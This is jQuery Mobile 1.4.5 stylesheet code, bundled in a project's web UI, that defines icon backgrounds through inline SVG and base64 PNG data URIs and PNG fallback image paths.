url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M3%2C7h1L2%2C4L0%2C7h1c0%2C3.313%2C2.687%2C6%2C6%2C6c0.702%2C0%2C1.374-0.127%2C2-0.35v-2.205C8.41%2C10.789%2C7.732%2C11%2C7%2C11C4.791%2C11%2C3%2C9.209%2C3%2C7z%20%20M13%2C7c0-3.313-2.688-6-6-6C6.298%2C1%2C5.626%2C1.127%2C5%2C1.349v2.206C5.59%2C3.211%2C6.268%2C3%2C7%2C3c2.209%2C0%2C4%2C1.791%2C4%2C4h-1l2%2C3l2-3H13z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-refresh:after, .ui-alt-icon .ui-icon-refresh:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214.001px%22%20height%3D%2214.002px%22%20viewBox%3D%220%200%2014.001%2014.002%22%20style%3D%22enable-background%3Anew%200%200%2014.001%2014.002%3B%22%20%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M14.001%2C6.001v-6l-2.06%2C2.06c-0.423-0.424-0.897-0.809-1.44-1.122C7.153-0.994%2C2.872%2C0.153%2C0.939%2C3.501%20c-1.933%2C3.348-0.786%2C7.629%2C2.562%2C9.562c3.348%2C1.933%2C7.629%2C0.785%2C9.562-2.562l-1.732-1c-1.381%2C2.392-4.438%2C3.211-6.83%2C1.83%20s-3.211-4.438-1.83-6.83s4.438-3.211%2C6.83-1.83c0.389%2C0.225%2C0.718%2C0.506%2C1.02%2C0.81l-2.52%2C2.52H14.001z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-search:after, .ui-alt-icon .ui-icon-search:after, .ui-input-search:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M10.171%2C8.766c0.617-0.888%2C0.979-1.964%2C0.979-3.126c0-3.037-2.463-5.5-5.5-5.5s-5.5%2C2.463-5.5%2C5.5s2.463%2C5.5%2C5.5%2C5.5%20c1.152%2C0%2C2.223-0.355%2C3.104-0.962l3.684%2C3.683l1.414-1.414L10.171%2C8.766z%20M5.649%2C9.14c-1.933%2C0-3.5-1.567-3.5-3.5%20c0-1.933%2C1.567-3.5%2C3.5-3.5c1.933%2C0%2C3.5%2C1.567%2C3.5%2C3.5C9.149%2C7.572%2C7.582%2C9.14%2C5.649%2C9.14z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-shop:after, .ui-alt-icon .ui-icon-shop:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M10%2C4V3c0-1.657-1.343-3-3-3S4%2C1.343%2C4%2C3v1H1v10h12V4H10z%20M4.5%2C6C4.224%2C6%2C4%2C5.776%2C4%2C5.5S4.224%2C5%2C4.5%2C5S5%2C5.224%2C5%2C5.5%20S4.776%2C6%2C4.5%2C6z%20M5%2C3c0-1.104%2C0.896-2%2C2-2c1.104%2C0%2C2%2C0.896%2C2%2C2v1H5V3z%20M9.5%2C6C9.225%2C6%2C9%2C5.776%2C9%2C5.5S9.225%2C5%2C9.5%2C5S10%2C5.224%2C10%2C5.5%20S9.775%2C6%2C9.5%2C6z%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-star:after, .ui-alt-icon .ui-icon-star:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%2214%2C5%209%2C5%207%2C0%205%2C5%200%2C5%204%2C8%202.625%2C13%207%2C10%2011.375%2C13%2010%2C8%20%22%2F%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-tag:after, .ui-alt-icon .ui-icon-tag:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M5%2C0H0v5l9%2C9l5-5L5%2C0z%20M3%2C4C2.447%2C4%2C2%2C3.553%2C2%2C3s0.447-1%2C1-1s1%2C0.447%2C1%2C1S3.553%2C4%2C3%2C4z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-user:after, .ui-alt-icon .ui-icon-user:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%200%2014%2014%22%20style%3D%22enable-background%3Anew%200%200%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M8.851%2C10.101c-0.18-0.399-0.2-0.763-0.153-1.104C9.383%2C8.49%2C9.738%2C7.621%2C9.891%2C6.465C10.493%2C6.355%2C10.5%2C5.967%2C10.5%2C5.5%20c0-0.437-0.008-0.804-0.502-0.94C9.999%2C4.539%2C10%2C4.521%2C10%2C4.5c0-2.103-1-4-2-4C8%2C0.5%2C7.5%2C0%2C6.5%2C0C5%2C0%2C4%2C1.877%2C4%2C4.5%20c0%2C0.021%2C0.001%2C0.039%2C0.002%2C0.06C3.508%2C4.696%2C3.5%2C5.063%2C3.5%2C5.5c0%2C0.467%2C0.007%2C0.855%2C0.609%2C0.965%20C4.262%2C7.621%2C4.617%2C8.49%2C5.303%2C8.997c0.047%2C0.341%2C0.026%2C0.704-0.153%2C1.104C1.503%2C10.503%2C0%2C12%2C0%2C12v2h14v-2%20C14%2C12%2C12.497%2C10.503%2C8.851%2C10.101z%22%2F%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3Cg%3E%3C%2Fg%3E%3C%2Fsvg%3E"); } .ui-alt-icon.ui-icon-video:after, .ui-alt-icon .ui-icon-video:after { background-image: url("data:image/svg+xml;charset=US-ASCII,%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22iso-8859-1%22%3F%3E%3C!DOCTYPE%20svg%20PUBLIC%20%22-%2F%2FW3C%2F%2FDTD%20SVG%201.1%2F%2FEN%22%20%22http%3A%2F%2Fwww.w3.org%2FGraphics%2FSVG%2F1.1%2FDTD%2Fsvg11.dtd%22%3E%3Csvg%20version%3D%221.1%22%20id%3D%22Layer_1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20x%3D%220px%22%20y%3D%220px%22%20%20width%3D%2214px%22%20height%3D%2214px%22%20viewBox%3D%220%20-2%2014%2014%22%20style%3D%22enable-background%3Anew%200%20-2%2014%2014%3B%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20d%3D%22M8%2C0H2C0.896%2C0%2C0%2C0.896%2C0%2C2v6c0%2C1.104%2C0.896%2C2%2C2%2C2h6c1.104%2C0%2C2-0.896%2C2-2V5V2C10%2C0.896%2C9.104%2C0%2C8%2C0z%20M10%2C5l4%2C4V1L10%2C5z%22%2F%3E%3C%2Fsvg%3E"); } /* PNG icons */ .ui-nosvg .ui-icon-action:after { background-image: url("images/icons-png/action-white.png"); } .ui-nosvg .ui-icon-alert:after { background-image: url("images/icons-png/alert-white.png"); } .ui-nosvg .ui-icon-arrow-d-l:after { background-image: url("images/icons-png/arrow-d-l-white.png"); } .ui-nosvg .ui-icon-arrow-d-r:after { background-image: url("images/icons-png/arrow-d-r-white.png"); } .ui-nosvg .ui-icon-arrow-d:after { background-image: url("images/icons-png/arrow-d-white.png"); } .ui-nosvg .ui-icon-arrow-l:after { background-image: url("images/icons-png/arrow-l-white.png"); } .ui-nosvg .ui-icon-arrow-r:after { background-image: url("images/icons-png/arrow-r-white.png"); } .ui-nosvg .ui-icon-arrow-u-l:after { background-image: url("images/icons-png/arrow-u-l-white.png"); } .ui-nosvg .ui-icon-arrow-u-r:after { background-image: url("images/icons-png/arrow-u-r-white.png"); } .ui-nosvg .ui-icon-arrow-u:after { background-image: url("images/icons-png/arrow-u-white.png"); } .ui-nosvg .ui-icon-audio:after { background-image: url("images/icons-png/audio-white.png"); } .ui-nosvg .ui-icon-back:after { background-image: url("images/icons-png/back-white.png"); } .ui-nosvg .ui-icon-bars:after { background-image: url("images/icons-png/bars-white.png"); } .ui-nosvg .ui-icon-bullets:after { background-image: url("images/icons-png/bullets-white.png"); } .ui-nosvg .ui-icon-calendar:after { background-image: url("images/icons-png/calendar-white.png"); } .ui-nosvg .ui-icon-camera:after { background-image: url("images/icons-png/camera-white.png"); } .ui-nosvg .ui-icon-carat-d:after { background-image: url("images/icons-png/carat-d-white.png"); } .ui-nosvg .ui-icon-carat-l:after { background-image: url("images/icons-png/carat-l-white.png"); } .ui-nosvg .ui-icon-carat-r:after { background-image: url("images/icons-png/carat-r-white.png"); } .ui-nosvg .ui-icon-carat-u:after { background-image: url("images/icons-png/carat-u-white.png"); } .ui-nosvg .ui-icon-check:after, html.ui-nosvg .ui-btn.ui-checkbox-on:after { background-image: url("images/icons-png/check-white.png"); } .ui-nosvg .ui-icon-clock:after { background-image: url("images/icons-png/clock-white.png"); } .ui-nosvg .ui-icon-cloud:after { background-image: url("images/icons-png/cloud-white.png"); } .ui-nosvg .ui-icon-comment:after { background-image: url("images/icons-png/comment-white.png"); } .ui-nosvg .ui-icon-delete:after { background-image: url("images/icons-png/delete-white.png"); } .ui-nosvg .ui-icon-edit:after { background-image: url("images/icons-png/edit-white.png"); } .ui-nosvg .ui-icon-eye:after { background-image: url("images/icons-png/eye-white.png"); } .ui-nosvg .ui-icon-forbidden:after { background-image: url("images/icons-png/forbidden-white.png"); } .ui-nosvg .ui-icon-forward:after { background-image: url("images/icons-png/forward-white.png"); } .ui-nosvg .ui-icon-gear:after { background-image: url("images/icons-png/gear-white.png"); } .ui-nosvg .ui-icon-grid:after { background-image: url("images/icons-png/grid-white.png"); } .ui-nosvg .ui-icon-heart:after { background-image: url("images/icons-png/heart-white.png"); } .ui-nosvg .ui-icon-home:after { background-image: url("images/icons-png/home-white.png"); } .ui-nosvg .ui-icon-info:after { background-image: url("images/icons-png/info-white.png"); } .ui-nosvg .ui-icon-location:after { background-image: url("images/icons-png/location-white.png"); } .ui-nosvg .ui-icon-lock:after { background-image: url("images/icons-png/lock-white.png"); } .ui-nosvg .ui-icon-mail:after { background-image: url("images/icons-png/mail-white.png"); } .ui-nosvg .ui-icon-minus:after { background-image: url("images/icons-png/minus-white.png"); } .ui-nosvg .ui-icon-navigation:after { background-image: url("images/icons-png/navigation-white.png"); } .ui-nosvg .ui-icon-phone:after { background-image: url("images/icons-png/phone-white.png"); } .ui-nosvg .ui-icon-plus:after { background-image: url("images/icons-png/plus-white.png"); } .ui-nosvg .ui-icon-power:after { background-image: url("images/icons-png/power-white.png"); } .ui-nosvg .ui-icon-recycle:after { background-image: url("images/icons-png/recycle-white.png"); } .ui-nosvg .ui-icon-refresh:after { background-image: url("images/icons-png/refresh-white.png"); } .ui-nosvg .ui-icon-search:after { background-image: url("images/icons-png/search-white.png"); } .ui-nosvg .ui-icon-shop:after { background-image: url("images/icons-png/shop-white.png"); } .ui-nosvg .ui-icon-star:after { background-image: url("images/icons-png/star-white.png"); } .ui-nosvg .ui-icon-tag:after { background-image: url("images/icons-png/tag-white.png"); } .ui-nosvg .ui-icon-user:after { background-image: url("images/icons-png/user-white.png"); } .ui-nosvg .ui-icon-video:after { background-image: url("images/icons-png/video-white.png"); } /* Alt icons */ .ui-nosvg .ui-alt-icon.ui-icon-action:after, .ui-nosvg .ui-alt-icon .ui-icon-action:after { background-image: url("images/icons-png/action-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-alert:after, .ui-nosvg .ui-alt-icon .ui-icon-alert:after { background-image: url("images/icons-png/alert-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-d:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-d:after { background-image: url("images/icons-png/arrow-d-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-d-l:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-d-l:after { background-image: url("images/icons-png/arrow-d-l-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-d-r:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-d-r:after { background-image: url("images/icons-png/arrow-d-r-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-l:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-l:after { background-image: url("images/icons-png/arrow-l-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-r:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-r:after { background-image: url("images/icons-png/arrow-r-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-u:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-u:after { background-image: url("images/icons-png/arrow-u-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-u-l:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-u-l:after { background-image: url("images/icons-png/arrow-u-l-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-arrow-u-r:after, .ui-nosvg .ui-alt-icon .ui-icon-arrow-u-r:after { background-image: url("images/icons-png/arrow-u-r-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-audio:after, .ui-nosvg .ui-alt-icon .ui-icon-audio:after { background-image: url("images/icons-png/audio-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-back:after, .ui-nosvg .ui-alt-icon .ui-icon-back:after { background-image: url("images/icons-png/back-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-bars:after, .ui-nosvg .ui-alt-icon .ui-icon-bars:after { background-image: url("images/icons-png/bars-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-bullets:after, .ui-nosvg .ui-alt-icon .ui-icon-bullets:after { background-image: url("images/icons-png/bullets-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-calendar:after, .ui-nosvg .ui-alt-icon .ui-icon-calendar:after { background-image: url("images/icons-png/calendar-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-camera:after, .ui-nosvg .ui-alt-icon .ui-icon-camera:after { background-image: url("images/icons-png/camera-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-carat-d:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-d:after { background-image: url("images/icons-png/carat-d-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-carat-l:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-l:after { background-image: url("images/icons-png/carat-l-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-carat-r:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-r:after { background-image: url("images/icons-png/carat-r-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-carat-u:after, .ui-nosvg .ui-alt-icon .ui-icon-carat-u:after { background-image: url("images/icons-png/carat-u-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-check:after, .ui-nosvg .ui-alt-icon .ui-icon-check:after, .ui-nosvg .ui-alt-icon.ui-btn.ui-checkbox-on:after, .ui-nosvg .ui-alt-icon .ui-btn.ui-checkbox-on:after { background-image: url("images/icons-png/check-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-clock:after, .ui-nosvg .ui-alt-icon .ui-icon-clock:after { background-image: url("images/icons-png/clock-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-cloud:after, .ui-nosvg .ui-alt-icon .ui-icon-cloud:after { background-image: url("images/icons-png/cloud-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-comment:after, .ui-nosvg .ui-alt-icon .ui-icon-comment:after { background-image: url("images/icons-png/comment-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-delete:after, .ui-nosvg .ui-alt-icon .ui-icon-delete:after { background-image: url("images/icons-png/delete-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-edit:after, .ui-nosvg .ui-alt-icon .ui-icon-edit:after { background-image: url("images/icons-png/edit-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-eye:after, .ui-nosvg .ui-alt-icon .ui-icon-eye:after { background-image: url("images/icons-png/eye-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-forbidden:after, .ui-nosvg .ui-alt-icon .ui-icon-forbidden:after { background-image: url("images/icons-png/forbidden-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-forward:after, .ui-nosvg .ui-alt-icon .ui-icon-forward:after { background-image: url("images/icons-png/forward-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-gear:after, .ui-nosvg .ui-alt-icon .ui-icon-gear:after { background-image: url("images/icons-png/gear-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-grid:after, .ui-nosvg .ui-alt-icon .ui-icon-grid:after { background-image: url("images/icons-png/grid-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-heart:after, .ui-nosvg .ui-alt-icon .ui-icon-heart:after { background-image: url("images/icons-png/heart-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-home:after, .ui-nosvg .ui-alt-icon .ui-icon-home:after { background-image: url("images/icons-png/home-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-info:after, .ui-nosvg .ui-alt-icon .ui-icon-info:after { background-image: url("images/icons-png/info-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-location:after, .ui-nosvg .ui-alt-icon .ui-icon-location:after { background-image: url("images/icons-png/location-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-lock:after, .ui-nosvg .ui-alt-icon .ui-icon-lock:after { background-image: url("images/icons-png/lock-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-mail:after, .ui-nosvg .ui-alt-icon .ui-icon-mail:after { background-image: url("images/icons-png/mail-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-minus:after, .ui-nosvg .ui-alt-icon .ui-icon-minus:after { background-image: url("images/icons-png/minus-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-navigation:after, .ui-nosvg .ui-alt-icon .ui-icon-navigation:after { background-image: url("images/icons-png/navigation-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-phone:after, .ui-nosvg .ui-alt-icon .ui-icon-phone:after { background-image: url("images/icons-png/phone-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-plus:after, .ui-nosvg .ui-alt-icon .ui-icon-plus:after { background-image: url("images/icons-png/plus-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-power:after, .ui-nosvg .ui-alt-icon .ui-icon-power:after { background-image: url("images/icons-png/power-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-recycle:after, .ui-nosvg .ui-alt-icon .ui-icon-recycle:after { background-image: url("images/icons-png/recycle-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-refresh:after, .ui-nosvg .ui-alt-icon .ui-icon-refresh:after { background-image: url("images/icons-png/refresh-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-search:after, .ui-nosvg .ui-alt-icon .ui-icon-search:after, .ui-nosvg .ui-input-search:after { background-image: url("images/icons-png/search-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-shop:after, .ui-nosvg .ui-alt-icon .ui-icon-shop:after { background-image: url("images/icons-png/shop-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-star:after, .ui-nosvg .ui-alt-icon .ui-icon-star:after { background-image: url("images/icons-png/star-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-tag:after, .ui-nosvg .ui-alt-icon .ui-icon-tag:after { background-image: url("images/icons-png/tag-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-user:after, .ui-nosvg .ui-alt-icon .ui-icon-user:after { background-image: url("images/icons-png/user-black.png"); } .ui-nosvg .ui-alt-icon.ui-icon-video:after, .ui-nosvg .ui-alt-icon .ui-icon-video:after { background-image: url("images/icons-png/video-black.png"); } ================================================ FILE: pwnagotchi/ui/web/static/js/jquery.mobile/jquery.mobile.inline-png-1.4.5.css ================================================ /*! * jQuery Mobile 1.4.5 * Git HEAD hash: 68e55e78b292634d3991c795f06f5e37a512decc <> Date: Fri Oct 31 2014 17:33:30 UTC * http://jquerymobile.com * * Copyright 2010, 2014 jQuery Foundation, Inc. and othercontributors * Released under the MIT license. * http://jquery.org/license * */ .ui-icon-action:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAIVJREFUOMtjYCAC/P//fxYQszGQCv5DwDEgliRHIwg8A2JLdEEYaICKqwHxciD+gCb/E4jTGHBosgPiL/+xA1SNSM7iBeIXQPwDiOuAWByvU5E05gPxZyC2xhs4WDTuBuJwtMCZCYsOmHewaZyLJ3Qb4GqxaDQiFC1YNRITn9TRSAqgSCMAGL+QeSGFbu0AAAAASUVORK5CYII="); } .ui-icon-alert:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAJVJREFUOMu9z7ENgkAUgOGj0I6eBXQCg8QRdAhdwiV0CF2CIRxBF6Cn08LP5oxIIEjjX13evS+5C6EnbLAOY8IUN1wxGQP3Pu1/RRnqBqyR/QLPEeQo4vk0hJZ4QmMmzvI+lODyfl8LindJF9z5rsCqNdu2UYrKcBXSJjx2LC3in9sd3miOR8fCsuOpcMcsoDS+Mvy9F2w1bmFOO7YjAAAAAElFTkSuQmCC"); } .ui-icon-arrow-d-l:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAE9JREFUOMut0VsKACAIBECP3tG8mSFZRGVujwV/wkE0IjAikrToJIZq0g3CsIMK9PQWWcM0OkQdbI8QGqCGIbSAAl/wCgWQo7/6PvFpRxdn/yOefcvwdI0AAAAASUVORK5CYII="); } .ui-icon-arrow-d-r:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAE1JREFUOMtjYICC////N4AwAykAqgkGGsjRRLRmJhzi9UTZjMNWnDajiBOrGaaOJJuR5Ulx9gFkDql+xq+RGM2EQvsAfWwky4/EaAIBAH/xh5XOyrKIAAAAAElFTkSuQmCC"); } .ui-icon-arrow-d:after { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAYAAAAfSC3RAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAOxAAADsQBlSsOGwAAADdJREFUOMtjYMAC/qMBBmLBqEZKNQLFG/6TDhrI0dxAjs0N5Di7gVDANJCsCYfmBgZSAFQzTk0AIbtHzgIaJM8AAAAASUVORK5CYII="); } .ui-icon-arrow-l:after { 